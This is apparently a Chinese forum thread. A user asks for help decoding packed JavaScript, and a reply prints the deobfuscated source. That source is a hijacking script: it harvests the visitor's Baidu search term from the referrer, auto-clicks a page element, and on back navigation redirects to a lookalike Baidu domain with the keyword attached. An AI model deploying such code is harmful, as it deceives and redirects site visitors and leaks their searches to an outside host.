这是一段封装好的js代码 有没有哪位大神帮忙解一下啊,在线等 有些急。谢谢了
eval(function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[4-9bd-hj-ln-rt-zA-R]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4 customurl="";4 l=5.w;4 9=d.e.n.x();4 o=5.w.x();4 f="";4 p="y";4 b="#z";4 g=d.e.A;7(g!=""&&g.B("#z")<0){b=g+b}7(l.h>0){4 8=new Array();8=l.6("?");7(8.h==2){8=8[1].6("&");C(i=0;i<8.h;i++){7(!8[i].B(p)){c=8[i].6("=");4 f=decodeURI(c[1])}}}5.j="D="+9;5.j="q="+f}5.E(""+5.j+"[]"+k("q")+"");G=k("D");7(9==G){5.E("");5.getElementById("I").click()}r k(J){4 t=5.j.6("; ");C(4 i=0;i<t.h;i++){4 u=t[i].6("=");7(u[0]==J)K unescape(u[1])}}r GetRandomNum(v,L){4 M=L-v;4 N=O.random();K(v+O.round(N*M))}d.onhashchange=r(){7(d.e.A==b){}else{wd00=k("q");4 P=9.6(".")[0]+9.6(".")[1];4 Q=o.6(".")[0]+o.6(".")[1];7(P!=Q){e.n="http://m.p.R.fromsjz.yidahd.R/s/index.php?H=3&y="+f}}}',[],54,'||||var|document|split|if|strs|localUrl||hash1||window|location|wd|hash2|length||cookie|getCookie0001|url||href|hisUrl|baidu|mword|function||arrStr|temp|Min|referrer|toString|word|abcdd1|hash|indexOf|for|nammmme|write|div|myurl|id|abcdd2|objName|return|Max|Range|Rand|Math|compareN|compareO|com'.split('|'),0,{}))
这是min的呀,去下载不带min的就好!
你也可以用工具解压js,具体啥工具,原谅我忘记了
var customurl = "";
var url = document.referrer;
var localUrl = window.location.href.toString();
var hisUrl = document.referrer.toString();
var wd = "";
var baidu = "word";
var hash1 = "#abcdd1";
var hash2 = window.location.hash;
if (hash2 != "" && hash2.indexOf("#abcdd1") < 0) {
hash1 = hash2 + hash1
}
if (url.length > 0) {
var strs = new Array();
strs = url.split("?");
if (strs.length == 2) {
strs = strs[1].split("&");
for (i = 0; i < strs.length; i++) {
if (!strs[i].indexOf(baidu)) {
c = strs[i].split("=");
var wd = decodeURI(c[1])
}
}
}
document.cookie = "nammmme=" + localUrl;
document.cookie = "mword=" + wd
}
document.write("" + document.cookie + "[]" + getCookie0001("mword") + "");
myurl = getCookie0001("nammmme");
if (localUrl == myurl) {
document.write("");
document.getElementById("abcdd2").click()
}
function getCookie0001(objName) {
var arrStr = document.cookie.split("; ");
for (var i = 0; i < arrStr.length; i++) {
var temp = arrStr[i].split("=");
if (temp[0] == objName) return unescape(temp[1])
}
}
function GetRandomNum(Min, Max) {
var Range = Max - Min;
var Rand = Math.random();
return (Min + Math.round(Rand * Range))
}
window.onhashchange = function() {
if (window.location.hash == hash1) {} else {
wd00 = getCookie0001("mword");
var compareN = localUrl.split(".")[0] + localUrl.split(".")[1];
var compareO = hisUrl.split(".")[0] + hisUrl.split(".")[1];
if (compareN != compareO) {
location.href = "http://m.baidu.com.fromsjz.yidahd.com/s/index.php?id=3&word=" + wd
}
}
}
给个工具你:http://www.jb51.net/tools/eval/
你可以下载未压缩的js看 这样的我也看不懂